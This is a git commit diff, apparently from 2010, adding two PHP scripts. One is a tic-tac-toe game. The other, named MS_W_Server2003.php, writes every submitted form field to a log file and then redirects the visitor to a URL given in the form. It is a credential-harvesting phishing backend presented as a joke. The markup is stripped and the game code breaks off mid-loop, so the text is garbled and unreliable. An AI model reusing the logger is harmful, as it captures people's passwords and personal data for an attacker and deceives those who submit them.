From: Harvie Date: Mon, 24 May 2010 22:11:14 +0000 (+0200) Subject: Some funny PHP scripts found on my old USB disk X-Git-Url: https://git.harvie.cz/?a=commitdiff_plain;h=ff84fa69881c8e15c6ea6f4aafff2ef8271b7231;p=mirrors%2FPrograms.git Some funny PHP scripts found on my old USB disk --- diff --git a/php/MS_W_Server2003.php b/php/MS_W_Server2003.php new file mode 100755 index 0000000..c72e995 --- /dev/null +++ b/php/MS_W_Server2003.php @@ -0,0 +1,14 @@ +" method="POST"> +document.".$name.".submit()"); +} + +///CODE////////////////////////// + +$out = "\r\n\r\n"; +foreach($_POST as $ind => $val) { + $out = $out.$ind." = ".$val."\r\n"; + echo("\n"); +} +echo("\r\n\r\n"); + +$fp = fopen("log.txt", "a"); +fwrite($fp, $out); +fclose($fp); + +//Debug +echo(""); + +//form_submit("mydata"); +header("Location: ".$_POST["serviceurl"]); + +?> diff --git a/php/tictactoe.php b/php/tictactoe.php new file mode 100755 index 0000000..84f022f --- /dev/null +++ b/php/tictactoe.php @@ -0,0 +1,111 @@ +0 && $place<10) && ($ttt[$place] != $x && $ttt[$place] != $o) && is_numeric($place) ) { + $ttt[$place] = $player; + } else { $GLOBALS["err"] = true; } + return $ttt; +} + +// +function ttt_check($ttt) { + $x = $GLOBALS["cross"]; + $o = $GLOBALS["circl"]; + //Horizontal + if( $ttt[7] == $ttt[8] && $ttt[8] == $ttt[9] ) { return 1; } + if( $ttt[4] == $ttt[5] && $ttt[5] == $ttt[6] ) { return 1; } + if( $ttt[1] == $ttt[2] && $ttt[2] == $ttt[3] ) { return 1; } + //Vertical + if( $ttt[7] == $ttt[4] && $ttt[4] == $ttt[1] ) { return 1; } + if( $ttt[8] == $ttt[5] && $ttt[5] == $ttt[2] ) { return 1; } + if( $ttt[9] == $ttt[6] && $ttt[6] == $ttt[3] ) { return 1; } + //Diagonal + if( $ttt[7] == $ttt[5] && $ttt[5] == $ttt[3] ) { return 1; } + if( $ttt[1] == $ttt[5] && $ttt[5] == $ttt[9] ) { return 1; } + //Nobody won + for($i=1;$i